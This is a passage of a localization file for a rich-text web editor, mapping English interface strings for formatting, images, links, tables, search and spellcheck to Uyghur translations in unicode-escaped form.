"Heading 1": "1 \u062f\u06d5\u0631\u0649\u062c\u0649\u0644\u0649\u0643 \u0645\u0627\u06cb\u0632\u06c7",
"Heading 2": "2 \u062f\u06d5\u0631\u0649\u062c\u0649\u0644\u0649\u0643 \u0645\u0627\u06cb\u0632\u06c7",
"Heading 3": "3 \u062f\u06d5\u0631\u0649\u062c\u0649\u0644\u0649\u0643 \u0645\u0627\u06cb\u0632\u06c7",
"Heading 4": "4 \u062f\u06d5\u0631\u0649\u062c\u0649\u0644\u0649\u0643 \u0645\u0627\u06cb\u0632\u06c7",
"Heading 5": "5 \u062f\u06d5\u0631\u0649\u062c\u0649\u0644\u0649\u0643 \u0645\u0627\u06cb\u0632\u06c7",
"Heading 6": "6 \u062f\u06d5\u0631\u0649\u062c\u0649\u0644\u0649\u0643 \u0645\u0627\u06cb\u0632\u06c7",
"Preformatted": "\u0626\u0627\u0644\u062f\u0649\u0646 \u0641\u0648\u0631\u0645\u0627\u062a\u0644\u0627\u0646\u063a\u0627\u0646",
"Div": "Div",
"Pre": "Pre",
"Code": "\u0643\u0648\u062f",
"Paragraph": "\u067e\u0627\u0631\u0627\u06af\u0649\u0631\u0627 \u0641",
"Blockquote": "\u0626\u06d5\u0633\u0643\u06d5\u0631\u062a\u0649\u0634",
"Inline": "\u0626\u0649\u0686\u0643\u0649",
"Blocks": "\u0631\u0627\u064a\u0648\u0646",
"Paste is now in plain text mode. Contents will now be pasted as plain text until you toggle this option off.": "\u06be\u0627\u0632\u0649\u0631 \u0686\u0627\u067e\u0644\u0649\u0633\u0649\u06ad\u0649\u0632 \u0633\u0627\u067e \u062a\u06d0\u0643\u0649\u0634 \u0645\u06d5\u0632\u0645\u06c7\u0646\u0649 \u0686\u0627\u067e\u0644\u0649\u0646\u0649\u062f\u06c7. \u062a\u06d0\u0643\u0649\u0634 \u0634\u06d5\u0643\u0644\u0649\u062f\u06d5 \u0686\u0627\u067e\u0644\u0627\u0634 \u062a\u06d5\u06ad\u0634\u0649\u0643\u0649\u0646\u0649 \u062a\u0627\u0642\u0649\u06cb\u06d5\u062a\u0643\u06d5\u0646\u06af\u06d5 \u0642\u06d5\u062f\u06d5\u0631.",
"Fonts": "\u062e\u06d5\u062a \u0646\u06c7\u0633\u062e\u0649\u0644\u0649\u0631\u0649",
"Font Sizes": "\u062e\u06d5\u062a \u0686\u0648\u06ad\u0644\u06c7\u0642\u0649",
"Class": "\u062a\u06c8\u0631",
"Browse for an image": "\u0631\u06d5\u0633\u0649\u0645\u0646\u0649  \u0643\u06c6\u0631\u0633\u0649\u062a\u0649\u0634",
"OR": "\u064a\u0627\u0643\u0649",
"Drop an image here": "\u0628\u06c7 \u064a\u06d5\u0631\u062f\u0649\u0643\u0649 \u0631\u06d5\u0633\u0649\u0645\u0646\u0649 \u0626\u06c6\u0686\u06c8\u0631\u06c8\u0634",
"Upload": "\u0686\u0649\u0642\u0649\u0631\u0649\u0634",
"Block": "\u067e\u0627\u0631\u0686\u06d5",
"Align": "\u062a\u0648\u063a\u0631\u0649\u0644\u0649\u0646\u0649\u0634\u0649",
"Default": "\u0633\u06c8\u0643\u06c8\u062a",
"Circle": "\u0686\u06d5\u0645\u0628\u06d5\u0631",
"Disc": "\u062f\u06d0\u0633\u0643\u0627",
"Square": "\u0643\u06cb\u0627\u062f\u0631\u0627\u062a",
"Lower Alpha": "\u0626\u0649\u0646\u06af\u0649\u0644\u0649\u0632\u0686\u06d5 \u0643\u0649\u0686\u0649\u0643 \u064a\u06d0\u0632\u0649\u0644\u0649\u0634\u0649",
"Lower Greek": "\u06af\u0631\u06d0\u062a\u0633\u0649\u064a\u0649\u0686\u06d5 \u0643\u0649\u0686\u0649\u0643 \u064a\u06d0\u0632\u0649\u0644\u0649\u0634\u0649",
"Lower Roman": "\u0631\u0649\u0645\u0686\u06d5 \u0643\u0649\u0686\u0649\u0643 \u064a\u06d0\u0632\u0649\u0644\u0649\u0634\u0649",
"Upper Alpha": "\u0626\u0649\u0646\u06af\u0649\u0644\u0649\u0632\u0686\u06d5 \u0686\u0648\u06ad \u064a\u06d0\u0632\u0649\u0644\u0649\u0634\u0649",
"Upper Roman": "\u0631\u0649\u0645\u0686\u06d5 \u0686\u0648\u06ad \u064a\u06d0\u0632\u0649\u0644\u0649\u0634\u0649",
"Anchor...": "\u0644\u06d5\u06ad\u06af\u06d5\u0631...",
"Name": "\u0646\u0627\u0645\u0649",
"Id": "Id",
"Id should start with a letter, followed only by letters, numbers, dashes, dots, colons or underscores.": "ID \u0686\u0648\u0642\u06c7\u0645 \u06be\u06d5\u0631\u0649\u067e \u0628\u0649\u0644\u06d5\u0646 \u0628\u0627\u0634\u0644\u0649\u0646\u0649\u0634\u0649 \u0643\u06d0\u0631\u06d5\u0643 \u060c \u0626\u0627\u0631\u0642\u0649\u0633\u0649 \u067e\u06d5\u0642\u06d5\u062a \u06be\u06d5\u0631\u0649\u067e \u060c \u0633\u0627\u0646 \u060c \u0626\u0627\u064a\u0631\u0649\u0634 \u0628\u06d5\u0644\u06af\u0649\u0633\u0649 \u060c \u0686\u0649\u0643\u0649\u062a \u06cb\u06d5 \u0626\u0627\u0633\u062a\u0649 \u0633\u0649\u0632\u0649\u0642\u0649 \u062f\u0649\u0646 \u0626\u0649\u0628\u0627\u0631\u06d5\u062a .",
"You have unsaved changes are you sure you want to navigate away?": "\u0633\u0649\u0632 \u062a\u06d0\u062e\u0649 \u0645\u06d5\u0632\u0645\u06c7\u0646\u0646\u0649 \u0633\u0627\u0642\u0644\u0649\u0645\u0649\u062f\u0649\u06ad\u0649\u0632\u060c \u0626\u0627\u064a\u0631\u0649\u0644\u0627\u0645\u0633\u0649\u0632\u061f",
"Restore last draft": "\u0626\u0627\u062e\u0649\u0631\u0642\u0649 \u0643\u06c7\u067e\u0649\u064a\u0649\u06af\u06d5 \u0642\u0627\u064a\u062a\u0649\u0634",
"Special character...": "\u0626\u0627\u0644\u0627\u06be\u0649\u062f\u06d5 \u06be\u06d5\u0631\u067e-\u0628\u06d5\u0644\u06af\u0649\u0644\u06d5\u0631...",
"Source code": "\u0626\u06d5\u0633\u0644\u0649 \u0643\u0648\u062f\u0649",
"Insert\/Edit code sample": "\u0643\u0648\u062f \u0645\u0649\u0633\u0627\u0644\u0649\\\u0642\u0649\u0633\u062a\u06c7\u0631\u06c7\u0634",
"Language": "\u062a\u0649\u0644",
"Code sample...": "\u0626\u06c8\u0644\u06af\u06d5 \u0643\u0648\u062f...",
"Color Picker": "\u0631\u06d5\u06ad \u062a\u0627\u0644\u0644\u0649\u063a\u06c7\u0686",
"R": "R",
"G": "G",
"B": "B",
"Left to right": "\u0633\u0648\u0644\u062f\u0649\u0646 \u0626\u0648\u06ad\u063a\u0627 ",
"Right to left": "\u0626\u0648\u06ad\u062f\u0649\u0646 \u0633\u0648\u0644\u063a\u0627",
"Emoticons": "\u0686\u0649\u0631\u0627\u064a \u0626\u0649\u067e\u0627\u062f\u06d5",
"Emoticons...": "\u0686\u0649\u0631\u0627\u064a \u0626\u0649\u067e\u0627\u062f\u0649\u0644\u0649\u0631\u0649...",
"Metadata and Document Properties": "\u0645\u06d0\u062a\u0627\u0645\u06d5\u0644\u06c7\u0645\u0627\u062a \u06cb\u06d5 \u06be\u06c6\u062c\u062c\u06d5\u062a \u062e\u0627\u0633\u0644\u0649\u0642\u0644\u0649\u0631\u0649",
"Title": "\u062a\u06d0\u0645\u0627",
"Keywords": "\u06be\u0627\u0644\u0642\u0649\u0644\u0649\u0642 \u0633\u06c6\u0632",
"Description": "\u062a\u06d5\u0633\u0649\u06cb\u0649\u0631",
"Robots": "\u0645\u0627\u0634\u0649\u0646\u0627 \u0626\u0627\u062f\u06d5\u0645",
"Author": "\u0626\u06c7\u0644\u0627\u0646\u0645\u0627",
"Encoding": "\u0643\u0648\u062f\u0644\u0627\u0634",
"Fullscreen": "\u067e\u06c8\u062a\u06c8\u0646 \u0626\u06d0\u0643\u0631\u0627\u0646",
"Action": "\u06be\u06d5\u0631\u0649\u0643\u06d5\u062a",
"Shortcut": "\u0642\u0649\u0633\u0642\u0627 \u064a\u0648\u0644",
"Help": "\u064a\u0627\u0631\u062f\u06d5\u0645",
"Address": "\u0626\u0627\u062f\u0649\u0631\u0649\u0633",
"Focus to menubar": "\u062a\u0649\u0632\u0649\u0645\u0644\u0649\u0643 \u0633\u0649\u062a\u0648\u0646\u0649\u063a\u0627 \u062f\u0649\u0642\u06d5\u062a",
"Focus to toolbar": "\u0642\u06c7\u0631\u0627\u0644 \u0633\u0649\u062a\u0648\u0646\u0649\u063a\u0627 \u062f\u0649\u0642\u06d5\u062a",
"Focus to element path": "\u0626\u06d0\u0644\u0649\u0645\u0649\u0646\u062a\u0644\u0627\u0631 \u064a\u0648\u0644\u0649\u063a\u0627 \u062f\u0649\u0642\u06d5\u062a",
"Focus to contextual toolbar": "\u0643\u0648\u0646\u062a\u06d0\u0643\u0649\u0633\u062a \u0642\u0648\u0631\u0627\u0644 \u0626\u0649\u0633\u062a\u0648\u0646\u0649\u063a\u0627 \u062f\u06d0\u0642\u06d5\u062a",
"Insert link (if link plugin activated)": "\u0626\u06c7\u0644\u0627\u0646\u0645\u0627 \u0642\u0649\u0633\u062a\u06c7\u0631\u06c7\u06ad (\u0626\u06c7\u0644\u0627\u0646\u0645\u0627 \u0642\u0649\u0633\u062a\u06c7\u0631\u06c7\u0634 \u0642\u0649\u0633\u062a\u06c7\u0631\u0645\u0649\u0633\u0649\u0646\u0649 \u0642\u0648\u0632\u063a\u0627\u062a\u0642\u0627\u0646 \u0626\u06d5\u06be\u06cb\u0627\u0644\u062f\u0627)",
"Save (if save plugin activated)": "\u0633\u0627\u0642\u0644\u0627\u0634 (\u0633\u0627\u0642\u0644\u0627\u0634 \u0642\u0649\u0633\u062a\u06c7\u0631\u0645\u0649\u0633\u0649\u0646\u0649 \u0642\u0648\u0632\u063a\u0627\u062a\u0642\u0627\u0646 \u0626\u06d5\u06be\u06cb\u0627\u0644\u062f\u0627)",
"Find (if searchreplace plugin activated)": "\u0626\u0649\u0632\u062f\u06d5\u0634 (\u0626\u0649\u0632\u062f\u06d5\u0634 \u0642\u0649\u0633\u062a\u06c7\u0631\u0645\u0649\u0633\u0649 \u0642\u0648\u0632\u063a\u0649\u062a\u0649\u0644\u063a\u0627\u0646 \u0626\u06d5\u06be\u06cb\u0627\u0644\u062f\u0627)",
"Plugins installed ({0}):": "\u0642\u0627\u0686\u0649\u0644\u0627\u0646\u063a\u0627\u0646 \u0642\u0649\u0633\u062a\u06c7\u0631\u06c7\u0644\u0645\u0627 ({0}):",
"Premium plugins:": "\u064a\u06c7\u0642\u0649\u0631\u0649 \u062f\u06d5\u0631\u0649\u062c\u0649\u0644\u0649\u0643 \u0642\u0649\u0633\u062a\u06c7\u0631\u06c7\u0644\u0645\u0627 :",
"Learn more...": "\u062a\u06d0\u062e\u0649\u0645\u06c7 \u0686\u06c8\u0634\u0649\u0646\u0649\u0634 ...",
"You are using {0}": "\u0626\u0649\u0634\u0644\u0649\u062a\u0649\u06cb\u0627\u062a\u0642\u0649\u0646\u0649\u06ad\u0649\u0632 {0}",
"Plugins": "\u0642\u0649\u0633\u062a\u06c7\u0631\u06c7\u0644\u0645\u0627",
"Handy Shortcuts": "\u0642\u0648\u0644\u0627\u064a\u0644\u0649\u0642 \u0642\u0649\u0633\u0642\u0627 \u064a\u0648\u0644",
"Horizontal line": "\u06af\u0648\u0631\u0632\u0649\u0646\u062a\u0627\u0644 \u0642\u06c7\u0631",
"Insert\/edit image": "\u0631\u06d5\u0633\u0649\u0645 \u0642\u0649\u0633\u062a\u06c7\u0631\u06c7\u0634 \u064a\u0627\u0643\u0649 \u062a\u06d5\u06be\u0631\u0649\u0631\u0644\u06d5\u0634",
"Alternative description": "\u062a\u0627\u0644\u0644\u0627\u0646\u0645\u0627 \u0686\u06c8\u0634\u06d5\u0646\u062f\u06c8\u0631\u06c8\u0634\u0649",
"Accessibility": "\u064a\u0627\u0631\u062f\u06d5\u0645\u0686\u06d5 \u0626\u0649\u0642\u062a\u0649\u062f\u0627\u0631",
"Image is decorative": "\u0628\u06d0\u0632\u06d5\u0643 \u0631\u06d5\u0633\u0649\u0645",
"Source": "\u0645\u06d5\u0646\u0628\u06d5",
"Dimensions": "\u0686\u0648\u06ad-\u0643\u0649\u0686\u0649\u0643",
"Constrain proportions": "\u0626\u06d0\u06af\u0649\u0632\u0644\u0649\u0643-\u0643\u06d5\u06ad\u0644\u0649\u0643 \u0646\u0649\u0633\u067e\u0649\u062a\u0649\u0646\u0649 \u0633\u0627\u0642\u0644\u0627\u0634",
"General": "\u0626\u0627\u062f\u06d5\u062a\u062a\u0649\u0643\u0649",
"Advanced": "\u0626\u0627\u0644\u0627\u06be\u0649\u062f\u06d5",
"Style": "\u0626\u06c7\u0633\u0644\u06c7\u067e",
"Vertical space": "\u06cb\u06d0\u0631\u062a\u0649\u0643\u0627\u0644 \u0628\u0648\u0634\u0644\u06c7\u0642",
"Horizontal space": "\u06af\u0648\u0631\u0632\u0649\u0646\u062a\u0627\u0644 \u0628\u0648\u0634\u0644\u06c7\u0642",
"Border": "\u064a\u0627\u0642\u0627",
"Insert image": "\u0631\u06d5\u0633\u0649\u0645 \u0642\u0649\u0633\u062a\u06c7\u0631\u06c7\u0634",
"Image...": "\u0631\u06d5\u0633\u0649\u0645...",
"Image list": "\u0631\u06d5\u0633\u0649\u0645 \u062a\u0649\u0632\u0649\u0645\u0644\u0649\u0643\u0649",
"Rotate counterclockwise": "\u200f\u200f\u0633\u0627\u0626\u06d5\u062a\u0643\u06d5 \u0642\u0627\u0631\u0634\u0649 \u0686\u06c6\u0631\u06c8\u0634",
"Rotate clockwise": "\u200f\u200f\u0633\u0627\u0626\u06d5\u062a \u064a\u06c6\u0646\u0649\u0644\u0649\u0634\u0649\u062f\u06d5 \u0686\u06c6\u0631\u06c8\u0634",
"Flip vertically": "\u06cb\u06d0\u0631\u062a\u0649\u0643\u0627\u0644 \u0626\u06c6\u0631\u06c8\u0634",
"Flip horizontally": "\u06af\u0648\u0631\u0649\u0632\u0648\u0646\u062a\u0627\u0644 \u0626\u06c6\u0631\u06c8\u0634",
"Edit image": "\u0631\u06d5\u0633\u0649\u0645 \u062a\u06d5\u06be\u0631\u0649\u0631\u0644\u06d5\u0634",
"Image options": "\u0631\u06d5\u0633\u0649\u0645 \u062a\u0627\u0644\u0644\u0627\u0646\u0645\u0649\u0644\u0649\u0631\u0649",
"Zoom in": "\u064a\u06d0\u0642\u0649\u0646\u0644\u0627\u062a\u0645\u0627\u0642",
"Zoom out": "\u064a\u0649\u0631\u0627\u0642\u0644\u0627\u062a\u0645\u0627\u0642",
"Crop": "\u0642\u0649\u064a\u0649\u0634",
"Resize": "\u0686\u0648\u06ad\u0644\u06c7\u0642\u0649\u0646\u0649 \u0626\u06c6\u0632\u06af\u06d5\u0631\u062a\u0649\u0634",
"Orientation": "\u064a\u06c6\u0646\u0649\u0644\u0649\u0634",
"Brightness": "\u064a\u0648\u0631\u06c7\u0642\u0644\u06c7\u0642\u0649",
"Sharpen": "\u0626\u06c6\u062a\u0643\u06c8\u0631\u0644\u06d5\u0634\u062a\u06c8\u0631\u06c8\u0634",
"Contrast": "\u0633\u06d0\u0644\u0649\u0634\u062a\u06c7\u0631\u0645\u0627",
"Color levels": "\u0631\u06d5\u06ad \u062f\u06d5\u0631\u0649\u062c\u0649\u0644\u0649\u0631\u0649",
"Gamma": "\u06af\u0627\u0645\u0645\u0627",
"Invert": "\u062a\u06d5\u062a\u06c8\u0631",
"Apply": "\u0642\u0648\u0644\u0644\u0649\u0646\u0649\u0634",
"Back": "\u0642\u0627\u064a\u062a\u0649\u0634",
"Insert date\/time": "\u0686\u0649\u0633\u0644\u0627\/\u06cb\u0627\u0642\u0649\u062a \u0643\u0649\u0631\u06af\u06c8\u0632\u06c8\u0634",
"Date\/time": "\u0686\u06d0\u0633\u0644\u0627\\\u06cb\u0627\u0642\u0649\u062a",
"Insert\/edit link": "\u0626\u06c7\u0644\u0649\u0646\u0649\u0634 \u0642\u06c7\u0633\u062a\u06c7\u0631\u06c7\u0634\/\u062a\u06d5\u06be\u0631\u0649\u0631\u0644\u06d5\u0634",
"Text to display": "\u0643\u06c6\u0631\u06c8\u0646\u0649\u062f\u0649\u063a\u0627\u0646 \u0645\u06d5\u0632\u0645\u06c7\u0646",
"Url": "\u0626\u0627\u062f\u0631\u0649\u0633",
"Open link in...": "\u0626\u06c7\u0644\u0627\u0646\u0645\u0627 \u0626\u06d0\u0686\u0649\u0634 \u0626\u0648\u0631\u0646\u0649...",
"Current window": "\u0646\u06c6\u06cb\u06d5\u062a\u062a\u0649\u0643\u0649 \u0643\u06c6\u0632\u0646\u06d5\u0643",
"None": "\u064a\u0648\u0642",
"New window": "\u064a\u06d0\u06ad\u0649 \u0643\u06c6\u0632\u0646\u06d5\u0643",
"Open link": "\u0626\u06c7\u0644\u0627\u0646\u0645\u0627 \u0626\u06d0\u0686\u0649\u0634",
"Remove link": "\u0626\u06c7\u0644\u0649\u0646\u0649\u0634 \u0626\u06c6\u0686\u06c8\u0631\u06c8\u0634",
"Anchors": "\u0626\u06c7\u0644\u0649\u0646\u0649\u0634",
"Link...": "\u0626\u06c7\u0644\u0627\u0646\u0645\u0627...",
"Paste or type a link": "\u0626\u06c7\u0644\u0649\u0646\u0649\u0634 \u0686\u0627\u067e\u0644\u0627\u06ad \u064a\u0627\u0643\u0649 \u0643\u0649\u0631\u06af\u06c8\u0632\u06c8\u06ad",
"The URL you entered seems to be an email address. Do you want to add the required mailto: prefix?": "\u0633\u0649\u0632 \u0643\u0649\u0631\u06af\u06c8\u0632\u06af\u06d5\u0646 URL \u0628\u0649\u0631 \u0626\u06d0\u0644\u062e\u06d5\u062a \u0626\u0627\u062f\u0631\u06d0\u0633\u0649\u062f\u06d5\u0643 \u0642\u0649\u0644\u0649\u067e \u062a\u06c7\u0631\u0649\u062f\u06c7\u060c\u062a\u06d5\u0644\u06d5\u067e \u0642\u0649\u0644\u0649\u0646\u063a\u0627\u0646 mailto \u0646\u0649 \u0642\u06c7\u0634\u0627\u0645\u0633\u0649\u0632\u061f",
"The URL you entered seems to be an external link. Do you want to add the required http:\/\/ prefix?": "\u0633\u0649\u0632 \u0643\u0649\u0631\u06af\u06c8\u0632\u06af\u06d5\u0646 \u062a\u0648\u0631 \u0626\u0627\u062f\u0631\u06d0\u0633\u0649 \u0633\u0649\u0631\u062a\u0642\u0649 \u0626\u06c7\u0644\u0627\u0646\u0645\u0649\u062f\u06d5\u0643 \u0642\u0649\u0644\u0649\u067e \u062a\u06c7\u0631\u0649\u062f\u06c7 \u060c\u062a\u06d5\u0644\u06d5\u067e \u0642\u0649\u0644\u0649\u0646\u063a\u0627\u0646 http:\/\/ \u0646\u0649 \u0642\u0648\u0634\u0627\u0645\u0633\u0649\u0632\u061f",
"The URL you entered seems to be an external link. Do you want to add the required https:\/\/ prefix?": "\u0633\u0649\u0632 \u0643\u0649\u0631\u06af\u06c8\u0632\u06af\u06d5\u0646 \u0626\u0627\u062f\u0631\u06d0\u0633 \u0633\u0649\u0631\u062a\u0642\u0649 \u0626\u06c7\u0644\u0627\u0646\u0645\u0649\u062f\u06d5\u0643 \u062a\u06c7\u0631\u0649\u062f\u06c7. \u062a\u06d5\u0644\u06d5\u067e \u0642\u0649\u0644\u0649\u0646\u063a\u0627\u0646 https:\/\/ \u0626\u0627\u0644\u062f\u0649 \u0642\u0648\u0634\u06c7\u0645\u0686\u0649\u0633\u0649\u0646\u0649 \u0642\u0648\u0634\u0627\u0645\u0633\u0649\u0632\u061f",
"Link list": "\u0626\u06c7\u0644\u0649\u0646\u0649\u0634 \u062a\u06c8\u0631\u0649",
"Insert video": "\u0633\u0649\u0646 \u0642\u0649\u0633\u062a\u06c7\u0631\u06c7\u0634",
"Insert\/edit video": "\u0633\u0649\u0646 \u0642\u0649\u0633\u062a\u06c7\u0631\u06c7\u0634\/\u062a\u06d5\u06be\u0631\u0649\u0631\u0644\u06d5\u0634",
"Insert\/edit media": "\u0645\u06d0\u062f\u0649\u064a\u0627 \u0642\u0649\u0633\u062a\u06c7\u0631\u06c7\u0634\/\u062a\u06d5\u06be\u0631\u0649\u0631\u0644\u06d5\u0634",
"Alternative source": "\u062a\u06d5\u0633\u06cb\u0649\u0631\u0649",
"Alternative source URL": "\u062a\u0627\u0644\u0644\u0627\u0646\u0645\u0627 \u0645\u06d5\u0646\u0628\u06d5 \u0626\u0627\u062f\u0631\u06d0\u0633\u0649",
"Media poster (Image URL)": "\u0645\u06d0\u062f\u0649\u064a\u0627 \u0645\u06c7\u0642\u0627\u06cb\u0649\u0633\u0649 (\u0631\u06d5\u0633\u0649\u0645 \u0626\u0627\u062f\u0631\u06d0\u0633\u0649)",
"Paste your embed code below:": "\u0642\u0649\u0633\u062a\u06c7\u0631\u0645\u0627\u0642\u0686\u0649 \u0628\u0648\u0644\u063a\u0627\u0646 \u0643\u0648\u062f\u0646\u0649 \u0686\u0627\u067e\u0644\u0627\u06ad",
"Embed": "\u0642\u0649\u0633\u062a\u06c7\u0631\u06c7\u0634",
"Media...": "\u0645\u06d0\u062f\u0649\u064a\u0627...",
"Nonbreaking space": "\u0628\u0648\u0634\u0644\u06c7\u0642",
"Page break": "\u0628\u06d5\u062a \u0626\u0627\u062e\u0649\u0631\u0644\u0627\u0634\u062a\u06c7\u0631\u06c7\u0634",
"Paste as text": "\u062a\u06d0\u0643\u0649\u0634 \u0634\u06d5\u0643\u0644\u0649\u062f\u06d5 \u0686\u0627\u067e\u0644\u0627\u0634",
"Preview": "\u0643\u06c6\u0631\u06c8\u0634",
"Print...": "\u0628\u06d0\u0633\u0649\u0634...",
"Save": "\u0633\u0627\u0642\u0644\u0627\u0634",
"Find": "\u0626\u0649\u0632\u062f\u06d5\u0634",
"Replace with": "\u0626\u0627\u0644\u0645\u0627\u0634\u062a\u06c7\u0631\u06c7\u0634",
"Replace": "\u0626\u0627\u0644\u0645\u0627\u0634\u062a\u06c7\u0631\u06c7\u0634",
"Replace all": "\u06be\u06d5\u0645\u0645\u0649\u0646\u0649 \u0626\u0627\u0644\u0645\u0627\u0634\u062a\u06c7\u0631\u06c7\u0634",
"Previous": "\u0626\u0627\u0644\u062f\u0649\u0646\u0642\u0649",
"Next": "\u0643\u06d0\u064a\u0649\u0646\u0643\u0649\u0633\u0649",
"Find and Replace": "\u0626\u0649\u0632\u062f\u06d5\u0634 \u06cb\u06d5 \u0626\u0627\u0644\u0645\u0627\u0634\u062a\u06c7\u0631\u06c7\u0634",
"Find and replace...": "\u0626\u0649\u0632\u062f\u06d5\u0634 \u06cb\u06d5 \u0626\u0627\u0644\u0645\u0627\u0634\u062a\u06c7\u0631\u06c7\u0634...",
"Could not find the specified string.": "\u0626\u0649\u0632\u062f\u0649\u0645\u06d5\u0643\u0686\u0649 \u0628\u0648\u0644\u063a\u0627\u0646 \u0645\u06d5\u0632\u0645\u06c7\u0646\u0646\u0649 \u062a\u0627\u067e\u0627\u0644\u0645\u0649\u062f\u0649.",
"Match case": "\u0686\u0648\u06ad \u0643\u0649\u0686\u0649\u0643 \u06be\u06d5\u0631\u0649\u067e\u0646\u0649 \u067e\u06d5\u0631\u0649\u0642\u0644\u06d5\u0646\u062f\u06c8\u0631\u06c8\u0634",
"Find whole words only": "\u067e\u06c8\u062a\u06c8\u0646 \u0633\u06c6\u0632\u0646\u0649\u0644\u0627 \u0626\u0649\u0632\u062f\u06d5\u0634",
"Find in selection": "\u062a\u0627\u0644\u0644\u0627\u0646\u063a\u0627\u0646\u062f\u0649\u0646 \u0626\u0649\u0632\u062f\u06d5\u0634",
"Spellcheck": "\u0626\u0649\u0645\u0644\u0627 \u062a\u06d5\u0643\u0634\u06c8\u0631\u06c8\u0634",
"Spellcheck Language": "\u0626\u0649\u0645\u0644\u0627 \u062a\u06d5\u0643\u0634\u06c8\u0631\u06c8\u0634 \u062a\u0649\u0644\u0649",
"No misspellings found.": "\u0626\u0649\u0645\u0644\u0627 \u062e\u0627\u062a\u0627\u0644\u0649\u0642\u0649 \u062a\u06d0\u067e\u0649\u0644\u0645\u0649\u062f\u0649.",
"Ignore": "\u0626\u06c6\u062a\u0643\u06c8\u0632\u06c8\u0634",
"Ignore all": "\u06be\u06d5\u0645\u0645\u0649\u0646\u0649 \u0626\u06c6\u062a\u0643\u06c8\u0632\u06c8\u0634",
"Finish": "\u0626\u0627\u062e\u0649\u0631\u0644\u0627\u0634\u062a\u06c7\u0631\u06c7\u0634",
"Add to Dictionary": "\u0644\u06c7\u063a\u06d5\u062a \u0642\u0648\u0634\u06c7\u0634",
"Insert table": "\u062c\u06d5\u062f\u06cb\u06d5\u0644 \u0642\u0649\u0633\u062a\u06c7\u0631\u06c7\u0634",
"Table properties": "\u062c\u06d5\u062f\u06cb\u06d5\u0644 \u062e\u0627\u0633\u0644\u0649\u0642\u0649",
"Delete table": "\u062c\u06d5\u062f\u06cb\u06d5\u0644 \u0626\u06c6\u0686\u06c8\u0631\u0634",
"Cell": "\u0643\u0627\u062a\u06d5\u0643",
"Row": "\u0642\u06c7\u0631",
"Column": "\u0631\u06d5\u062a",
"Cell properties": "\u0643\u0627\u062a\u06d5\u0643 \u062e\u0627\u0633\u0644\u0649\u0642\u0649",
"Merge cells": "\u0643\u0627\u062a\u06d5\u0643 \u0628\u0649\u0631\u0644\u06d5\u0634\u062a\u06c8\u0631\u06c8\u0634",
"Split cell": "\u0643\u0627\u062a\u06d5\u0643 \u067e\u0627\u0631\u0686\u0649\u0644\u0627\u0634",
"Insert row before": "\u0626\u0627\u0644\u062f\u0649\u063a\u0627 \u0642\u06c7\u0631 \u0642\u0649\u0633\u062a\u06c7\u0631\u06c7\u0634",
"Insert row after": "\u0626\u0627\u0631\u0642\u0649\u063a\u0627 \u0642\u06c7\u0631 \u0642\u0649\u0633\u062a\u06c7\u0631\u06c7\u0634",
"Delete row": "\u0642\u06c7\u0631 \u0626\u06c6\u0686\u06c8\u0631\u06c8\u0634",
"Row properties": "\u0642\u06c7\u0631 \u062e\u0627\u0633\u0644\u0649\u0642\u0649",
"Cut row": "\u0642\u06c7\u0631 \u0643\u06d0\u0633\u0649\u0634",
"Copy row": "\u0642\u06c7\u0631 \u0643\u06c6\u0686\u06c8\u0631\u06c8\u0634",
"Paste row before": "\u0642\u06c7\u0631 \u0626\u0627\u0644\u062f\u0649\u063a\u0627 \u0686\u0627\u067e\u0644\u0627\u0634",
"Paste row after": "\u0642\u06c7\u0631 \u0643\u06d5\u064a\u0646\u0649\u06af\u06d5 \u0686\u0627\u067e\u0644\u0627\u0634",
"Insert column before": "\u0631\u06d5\u062a \u0626\u0627\u0644\u062f\u0649\u063a\u0627 \u0642\u0649\u0633\u062a\u06c7\u0631\u06c7\u0634",
"Insert column after": "\u0631\u06d5\u062a \u0643\u06d5\u064a\u0646\u0649\u06af\u06d5 \u0642\u0649\u0633\u062a\u06c7\u0631\u06c7\u0634",
"Delete column": "\u0631\u06d5\u062a \u0626\u06c6\u0686\u06c8\u0631\u06c8\u0634",
"Cols": "\u0631\u06d5\u062a",
"Rows": "\u0642\u06c7\u0631",
"Width": "\u0643\u06d5\u06ad\u0644\u0649\u0643\u0649",
"Height": "\u0626\u06d0\u06af\u0649\u0632\u0644\u0649\u0643\u0649",
"Cell spacing": "\u0643\u0627\u062a\u06d5\u0643 \u0633\u0649\u0631\u062a\u0642\u0649 \u0626\u0627\u0631\u0649\u0644\u0649\u0642\u0649",
"Cell padding": "\u0643\u0627\u062a\u06d5\u0643 \u0626\u0649\u0686\u0643\u0649 \u0626\u0627\u0631\u0649\u0644\u0649\u0642\u0649",
"Caption": "\u0686\u06c8\u0634\u06d5\u0646\u062f\u06c8\u0631\u06c8\u0634",
"Show caption": "\u062a\u06d0\u0645\u0649\u0633\u0649\u0646\u0649 \u0643\u06c6\u0631\u0633\u0649\u062a\u0649\u0634",
"Left": "\u0633\u0648\u0644",
"Center": "\u0645\u06d5\u0631\u0643\u06d5\u0632",
"Right": "\u0626\u0648\u06ad",
"Cell type": "\u0643\u0627\u062a\u06d5\u0643 \u062a\u0649\u067e\u0649",
"Scope": "\u062f\u0627\u0626\u0649\u0631\u06d5",
"Alignment": "\u064a\u06c6\u0644\u0649\u0646\u0649\u0634\u0649",
"H Align": "\u06af\u0648\u0631\u0632\u0649\u0646\u062a\u0627\u0644 \u062a\u0648\u063a\u0631\u0649\u0644\u0627\u0634",
"V Align": "\u06cb\u06d0\u0631\u062a\u0649\u0643\u0627\u0644 \u062a\u0648\u063a\u0631\u0649\u0644\u0627\u0634",
"Top": "\u0626\u06c8\u0633\u062a\u0649",
"Middle": "\u0626\u0648\u062a\u062a\u06c7\u0631\u0633\u0649",
"Bottom": "\u0626\u0627\u0633\u062a\u0649",
"Header cell": "\u0628\u0627\u0634 \u0643\u0627\u062a\u06d5\u0643",
"Row group": "\u0642\u06c7\u0631 \u06af\u06c7\u0631\u06c7\u067e\u067e\u0649\u0633\u0649",
"Column group": "\u0631\u06d5\u062a \u06af\u06c7\u0631\u06c7\u067e\u067e\u0649\u0633\u0649",
"Row type": "\u0642\u06c7\u0631 \u062a\u0649\u067e\u0649",
"Header": "\u0628\u06d0\u0634\u0649",
"Body": "\u0628\u06d5\u062f\u0649\u0646\u0649",
"Footer": "\u067e\u06c7\u062a\u0649",
"Border color": "\u0631\u0627\u0645\u0643\u0627 \u0631\u06d5\u06ad\u06af\u0649",
"Insert template...": "\u0642\u06d0\u0644\u0649\u067e \u0642\u0649\u0633\u062a\u06c7\u0631\u06c7\u0634...",
"Templates": "\u0626\u06c8\u0644\u06af\u0649\u0644\u06d5\u0631",
